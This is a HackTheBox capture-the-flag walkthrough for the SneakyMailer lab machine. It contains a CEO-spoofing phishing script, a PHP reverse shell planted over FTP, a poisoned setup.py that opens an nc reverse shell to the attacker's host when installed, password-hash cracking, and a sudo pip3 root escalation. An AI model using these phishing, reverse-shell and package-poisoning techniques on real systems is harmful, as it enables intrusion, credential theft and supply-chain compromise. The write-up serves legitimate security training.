HackTheBox - SneakyMailer
Enumeration
root@kali:~# portscan sneakymailer
Open ports: 21,22,25,80,143,993,8080
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-22 18:32 EDT
Nmap scan report for sneakymailer (10.10.10.197)
Host is up (0.075s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp open imap Courier Imapd (released 2018)
|_imap-capabilities: IMAP4rev1 SORT QUOTA ACL2=UNION CHILDREN THREAD=ORDEREDSUBJECT ACL CAPABILITY completed THREAD=REFERENCES STARTTLS NAMESPACE OK IDLE UTF8=ACCEPTA0001 UIDPLUS ENABLE
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: UTF8=ACCEPTA0001 SORT QUOTA ACL2=UNION CHILDREN THREAD=ORDEREDSUBJECT ACL CAPABILITY completed THREAD=REFERENCES IMAP4rev1 NAMESPACE OK IDLE ENABLE UIDPLUS AUTH=PLAIN
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open http nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.17 seconds
Update /etc/hosts
:
# Due to |_http-title: Did not follow redirect to http://sneakycorp.htb
root@kali:~# echo "10.10.10.197 sneakycorp.htb" >> /etc/hosts
Let’s check port 80 first. There appears to be a PyPI server. We land on an Employee Dashboard, automatically logged in. Following the Team link, I can grab a list of all the employees and their emails.
Using https://email-checker.net/email-extractor, we can grab just the emails and save them into an email_list
file.
airisatou@sneakymailer.htb
angelicaramos@sneakymailer.htb
ashtoncox@sneakymailer.htb
bradleygreer@sneakymailer.htb
brendenwagner@sneakymailer.htb
briellewilliamson@sneakymailer.htb
...
Since port 25 is open for SMTP, let’s try to get a response from someone. swaks
comes with Kali, and we can use it to phish all the employees on our list into opening a link that will trigger a reverse shell. The employee list also tells us that Angelica Ramos is the CEO, so let’s pretend to be her for hopefully better results.
Let’s change the last line in /etc/hosts
to include sneakymailer.htb instead of sneakycorp.htb, so this mail can be sent.
#!/usr/bin/python3
import os, sys, signal
if len(sys.argv) != 2:
print("usage: python go_phish.py <email_list>")
exit()
filename = sys.argv[1]
spoof = 'angelicaramos@sneakymailer.htb'
msg = '"Confirm this data please: http://10.10.14.66:1234"'
with open(filename) as f:
emails = [line.rstrip() for line in f]
try:
for email in emails:
print("Emailing: ", email)
command = 'swaks --to ' + email + ' --from ' + spoof + ' --body ' + msg + ' > /dev/null'
os.system(command)
except KeyboardInterrupt:
print("Bye")
sys.exit()
Let’s open up a listener and run the script.
root@kali:~/Security/HackTheBox/SneakyMailer# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.66] from (UNKNOWN) [10.10.10.197] 59352
POST / HTTP/1.1
Host: 10.10.14.66:1234
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
Thanks for the creds, Paul! Let’s use https://meyerweb.com/eric/tools/dencoder/ to decode the password.
firstName=Paul
&lastName=Byrd
&email=paulbyrd%40sneakymailer.htb
&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
------
Name: Paul Byrd
Email: paulbyrd@sneakymailer.htb
Pass: ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
The paulbyrd:^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
credentials don’t work for SSH or FTP. So let’s try IMAP on port 993 Access IMAP server from the command line using OpenSSL.
$ openssl s_client -connect 10.10.10.197:993 -crlf
...
tag login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
...
tag OK LOGIN Ok.
tag LIST "" "*"
* LIST (\Unmarked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
tag OK LIST completed
Searching through, only “INBOX.Sent Items” has contents.
tag SELECT "INBOX.Sent Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
tag OK [READ-WRITE] Ok
Let’s check the messages:
tag FETCH 1:2 (BODY[HEADER])
* 1 FETCH (BODY[HEADER] {279}
MIME-Version: 1.0
To: root <root@debian>
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
Importance: normal
X-Priority: 3
Content-Type: multipart/alternative;
boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_"
)
* 2 FETCH (BODY[HEADER] {419}
To: low@debian
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Module testing
Message-ID: <4d08007d-3f7e-95ee-858a-40c6e04581bb@sneakymailer.htb>
Date: Wed, 27 May 2020 13:28:58 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Thunderbird/68.8.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US
)
tag OK FETCH completed.
The first seems more promising based on the Subject.
tag FETCH 1 BODY.PEEK()
tag NO Error in IMAP command received by server.
tag FETCH 1 BODY.PEEK[]
* 1 FETCH (BODY[] {2167}
MIME-Version: 1.0
To: root <root@debian>
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
Importance: normal
X-Priority: 3
Content-Type: multipart/alternative;
boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_"
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"
Hello administrator, I want to change this password for the developer accou=
nt
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it=20
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"
<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" xmlns:w=3D"urn:sc=
hemas-microsoft-com:office:word" xmlns:m=3D"http://schemas.microsoft.com/of=
fice/2004/12/omml" xmlns=3D"http://www.w3.org/TR/REC-html40"><head><meta ht=
tp-equiv=3DContent-Type content=3D"text/html; charset=3Dutf-8"><meta name=
=3DGenerator content=3D"Microsoft Word 15 (filtered medium)"><style><!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin:0in;
margin-bottom:.0001pt;
font-size:11.0pt;
font-family:"Calibri",sans-serif;}
.MsoChpDefault
{mso-style-type:export-only;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;}
div.WordSection1
{page:WordSection1;}
--></style></head><body lang=3DEN-US link=3Dblue vlink=3D"#954F72"><div cla=
ss=3DWordSection1><p class=3DMsoNormal>Hello administrator, I want to chang=
e this password for the developer account</p><p class=3DMsoNormal><o:p>&nbs=
p;</o:p></p><p class=3DMsoNormal>Username: developer</p><p class=3DMsoNorma=
l>Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C</p><p class=3DMsoNorm=
al><o:p> </o:p></p><p class=3DMsoNormal>Please notify me when you do i=
t </p></div></body></html>=
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_--
)
tag OK FETCH completed.
Here are some old(?) developer credentials: developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
.
tag FETCH 2 BODY.PEEK[]
* 2 FETCH (BODY[] {585}
To: low@debian
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Module testing
Message-ID: <4d08007d-3f7e-95ee-858a-40c6e04581bb@sneakymailer.htb>
Date: Wed, 27 May 2020 13:28:58 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Thunderbird/68.8.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US
Hello low
Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.
)
tag OK FETCH completed.
We know of root@debian
and low@debian
, which may come in handy. Let’s try the developer
creds on SSH and FTP.
$ ftp sneakymailer.htb
Connected to sneakymailer.htb.
220 (vsFTPd 3.0.3)
Name (sneakymailer.htb:root): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 8 0 1001 4096 Jun 30 01:15 dev
226 Directory send OK.
ftp> cd dev
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 May 26 19:52 css
drwxr-xr-x 2 0 0 4096 May 26 19:52 img
-rwxr-xr-x 1 0 0 13742 Jun 23 09:44 index.php
drwxr-xr-x 3 0 0 4096 May 26 19:52 js
drwxr-xr-x 2 0 0 4096 May 26 19:52 pypi
drwxr-xr-x 4 0 0 4096 May 26 19:52 scss
-rwxr-xr-x 1 0 0 26523 May 26 20:58 team.php
drwxr-xr-x 8 0 0 4096 May 26 19:52 vendor
226 Directory send OK.
Gaining Access
SSH fails, but we’re in FTP. Because of the mention of the Python modules in PyPI, let’s navigate there.
ftp> cd pypi
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x 1 0 0 3115 May 26 19:52 register.php
226 Directory send OK.
It appears like there is only a PHP file. We can use get
to download all the files. However, there doesn’t appear to be much worth anything. So let’s run a reverse shell from pentestmonkey.
ftp> pwd
257 "/dev" is the current directory
ftp> put rshell.php
local: rshell.php remote: rshell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5491 bytes sent in 0.00 secs (20.5358 MB/s)
Navigating to http://sneakycorp.htb/rshell.php gives us a 404, so maybe there is a subdomain.
$ wfuzz -H "HOST: FUZZ.sneakycorp.htb" -u http://10.10.10.197 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# This had a lot of results, so to limit the space hide the codes of 185 characters with the -hh flag
$ wfuzz -H "HOST: FUZZ.sneakycorp.htb" -u http://10.10.10.197 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -hh 185
...
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.197/
Total requests: 220560
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000009: 400 7 L 12 W 173 Ch "# Suite 300, San F
rancisco, Californi
a, 94105, USA."
000000007: 400 7 L 12 W 173 Ch "# license, visit h
ttp://creativecommo
ns.org/licenses/by-
sa/3.0/"
000000834: 200 340 L 989 W 13737 Ch "dev"
000006304: 301 7 L 12 W 185 Ch "Christmas"
...
The dev
subdomain… should’ve guessed. Add dev.sneakycorp.htb
to our /etc/hosts
, then navigate to: http://dev.sneakycorp.htb/rshell.php to open the shell.
Privilege Escalation
Just to make stuff easier on ourselves, let’s spawn a TTY shell and see if we can su
to the developer user.
$ whoami
www-data
$ python -c 'import pty; pty.spawn("/bin/sh")'
$ su developer
su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
developer@sneakymailer:/$
The user flag is in /home/low but we don’t have permissions to read it. Let’s check www-data
’s pseudo-home /var/www/html
. There is only a nginx default html page. What about up a directory?
developer@sneakymailer:/var/www$ ls
ls
dev.sneakycorp.htb html pypi.sneakycorp.htb sneakycorp.htb
developer@sneakymailer:/var/www$ cd pypi.sneakycorp.htb
cd pypi.sneakycorp.htb
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ls -a
ls -a
. .. .htpasswd packages venv
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd
cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Before we go any further, let’s crack the password:
john pypi.hash --wordlist=/usr/share/wordlists/rockyou.txt
...
soufianeelhaoui (pypi)
...
New, credentials: pypi:soufianeelhaoui
. Per the email for low
, PyPI modules will be installed and tested by user low
. If we upload something, we could potentially get a shell with low
permissions.
Reading through some PyPI Server docs here, we can find a way to upload with setuptools
.
# On client-side, edit or create a ~/.pypirc file with a similar content:
[distutils]
index-servers =
pypi
local
[pypi]
username:<your_pypi_username>
password:<your_pypi_passwd>
[local]
repository: http://localhost:8080
username: <some_username>
password: <some_passwd>
# Then from within the directory of the python-project you wish to upload, issue this command:
python setup.py sdist upload -r local
We need two files, .pypirc
and setup.py
.
So, here’s our .pypirc
:
[distutils]
index-servers = local
[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
And here’s our setup.py
:
# from https://packaging.python.org/tutorials/packaging-projects/
import setuptools
import os
# Reverse Shell
os.system('nc -e /bin/bash 10.10.14.66 4444')
setuptools.setup(
name="example-pkg-YOUR-USERNAME-HERE", # Replace with your own username
version="0.0.1",
author="Example Author",
author_email="author@example.com",
description="A small example package",
long_description=long_description,
long_description_content_type="text/markdown",
url="https://github.com/pypa/sampleproject",
packages=setuptools.find_packages(),
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
)
Host the files with python3 -m http.server
and wget
them. FTP could also potentially work. Since permission is denied in /var/www/pypi.sneakycorp.htb/packages, we have to create our package outside of it.
# Attacker
root@kali:~/Security/HackTheBox/SneakyMailer# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.197 - - [31/Aug/2020 19:55:27] "GET /setup.py HTTP/1.1" 200 -
10.10.10.197 - - [31/Aug/2020 19:56:07] "GET /.pypirc HTTP/1.1" 200 -
# Victim
developer@sneakymailer:/tmp$ mkdir pypi && cd $_
developer@sneakymailer:/tmp/pypi$ wget http://10.10.14.66:8000/setup.py
wget http://10.10.14.66:8000/setup.py
--2020-08-31 20:06:53-- http://10.10.14.66:8000/setup.py
Connecting to 10.10.14.66:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 734 [text/plain]
Saving to: ‘setup.py’
setup.py 100%[===================>] 734 --.-KB/s in 0s
2020-08-31 20:06:53 (140 MB/s) - ‘setup.py’ saved [734/734]
developer@sneakymailer:/tmp/pypi$ wget http://10.10.14.66:8000/.pypirc
wget http://10.10.14.66:8000/.pypirc
--2020-08-31 20:07:33-- http://10.10.14.66:8000/.pypirc
Connecting to 10.10.14.66:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 128 [application/octet-stream]
Saving to: ‘.pypirc’
.pypirc 100%[===================>] 128 --.-KB/s in 0s
2020-08-31 20:07:33 (4.46 MB/s) - ‘.pypirc’ saved [128/128]
Next, we change the HOME environment and make setup.py
executable.
developer@sneakymailer:/tmp/pypi$ chmod +x setup.py
developer@sneakymailer:/tmp/pypi$ HOME=$(pwd)
developer@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local
...
This gives a developer shell, whoops! Let’s modify setup.py
to only run when the userid is correct.
developer@sneakymailer:~$ grep low /etc/passwd
grep low /etc/passwd
low:x:1000:1000:,,,:/home/low:/bin/bash
So, we add this if
into our setup.py
:
...
# Reverse Shell
if os.getuid() == 1000:
os.system('nc -e /bin/bash 10.10.14.66 4444')
...
Re-wget
our setup script and rerun the commands.
developer@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local
running sdist
running egg_info
writing example_pkg_YOUR_USERNAME_HERE.egg-info/PKG-INFO
writing dependency_links to example_pkg_YOUR_USERNAME_HERE.egg-info/dependency_links.txt
writing top-level names to example_pkg_YOUR_USERNAME_HERE.egg-info/top_level.txt
reading manifest file 'example_pkg_YOUR_USERNAME_HERE.egg-info/SOURCES.txt'
writing manifest file 'example_pkg_YOUR_USERNAME_HERE.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md
running check
creating example-pkg-YOUR-USERNAME-HERE-0.0.1
creating example-pkg-YOUR-USERNAME-HERE-0.0.1/example_pkg_YOUR_USERNAME_HERE.egg-info
copying files to example-pkg-YOUR-USERNAME-HERE-0.0.1...
copying setup.py -> example-pkg-YOUR-USERNAME-HERE-0.0.1
copying example_pkg_YOUR_USERNAME_HERE.egg-info/PKG-INFO -> example-pkg-YOUR-USERNAME-HERE-0.0.1/example_pkg_YOUR_USERNAME_HERE.egg-info
copying example_pkg_YOUR_USERNAME_HERE.egg-info/SOURCES.txt -> example-pkg-YOUR-USERNAME-HERE-0.0.1/example_pkg_YOUR_USERNAME_HERE.egg-info
copying example_pkg_YOUR_USERNAME_HERE.egg-info/dependency_links.txt -> example-pkg-YOUR-USERNAME-HERE-0.0.1/example_pkg_YOUR_USERNAME_HERE.egg-info
copying example_pkg_YOUR_USERNAME_HERE.egg-info/top_level.txt -> example-pkg-YOUR-USERNAME-HERE-0.0.1/example_pkg_YOUR_USERNAME_HERE.egg-info
Writing example-pkg-YOUR-USERNAME-HERE-0.0.1/setup.cfg
Creating tar archive
removing 'example-pkg-YOUR-USERNAME-HERE-0.0.1' (and everything under it)
running register
Registering example-pkg-YOUR-USERNAME-HERE to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Registering is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
running upload
Submitting dist/example-pkg-YOUR-USERNAME-HERE-0.0.1.tar.gz to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
Checking back on our listener:
root@kali:~/Security/HackTheBox/SneakyMailer# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.66] from (UNKNOWN) [10.10.10.197] 56576
python -c 'import pty; pty.spawn("/bin/sh")'
$ whoami
whoami
low
$ cat ~/user.txt
{censored}
Getting Root
$ sudo -l
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3
Let’s check GTFOBins for a pip3 win.
$ TF=$(mktemp -d)
TF=$(mktemp -d)
$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
$ sudo pip3 install $TF
sudo pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.25cA4xw9Lq
# cat /root/root.txt
cat /root/root.txt
{censored}